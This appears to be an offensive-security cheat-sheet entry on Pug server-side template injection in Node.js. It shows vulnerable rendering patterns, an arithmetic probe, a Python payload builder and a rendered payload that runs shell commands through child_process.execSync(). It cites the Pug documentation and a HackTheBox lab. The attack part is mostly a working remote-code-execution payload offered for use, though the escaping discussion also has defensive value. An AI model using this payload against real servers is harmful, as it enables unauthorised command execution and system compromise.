Pug RCE
Pug SSTI RCE via buffered JavaScript
Builds a Pug payload that evaluates buffered JavaScript and executes a command with Node.js child_process.execSync().
Vulnerable source pattern
A fixed Pug template loaded from disk keeps userInput in the locals object as data:
p= valueconst locals = {
value: userInput
};
const output = pug.renderFile("page.pug", locals);= and #{value} escape the rendered value. != and !{value} emit it without HTML escaping:
p!= valueUnescaped output can produce XSS, but it does not compile Pug syntax stored inside value.
SSTI appears when attacker-controlled input becomes the source passed to pug.render():
const templateSource = userInput;
const locals = {};
const output = pug.render(templateSource, locals);The same vulnerability appears when the input is concatenated into otherwise fixed Pug source before rendering:
const templateSource = "p Result\n" + userInput;
const locals = {};
const output = pug.render(templateSource, locals);In both vulnerable forms, an input line containing = 7 * 7 is compiled as Pug source and renders as 49.
Testing
An evaluated arithmetic expression renders 49, confirming that the input reaches the Pug compiler as template source rather than plain data.
= 7 * 7Command execution
Pug lines beginning with = treat the remainder of the line as a JavaScript expression. Pug evaluates that expression on the server and inserts its returned value into the rendered HTML.
The expression uses the following chain:
global.process -> obtain the global Node.js process object
process.getBuiltinModule(...) -> load a built-in Node.js module from global scope
child_process.execSync(<COMMAND>) -> execute the command and return stdout as a Buffer object
.toString() -> convert the Buffer bytes into rendered textchild_process is Node.js’s built-in operating-system process module. execSync() waits for the command to finish before returning its standard output. That output is stored in a Buffer, which is a JavaScript object containing raw bytes; .toString() decodes those bytes into text that Pug can place in the response.
import json
def pug_execsync_payload(command):
payload = "= global.process.getBuiltinModule('child_process').execSync(" + json.dumps(command) + ").toString()"
return payloadRendered payload
= global.process.getBuiltinModule('child_process').execSync("id").toString()This direct SSTI primitive requires control over Pug template source. The prototype-pollution variant reaches the same renderer through a polluted internal block.line property and remains documented separately under Prototype Pollution.
Find by: ssti, pug, nodejs, node, template source, template data, pug render, renderFile, escaped interpolation, unescaped interpolation, xss vs ssti, template injection, buffered code, javascript expression, global process, getBuiltinModule, child_process, execSync, command execution · Source: Pug documentation + HTB/Gunship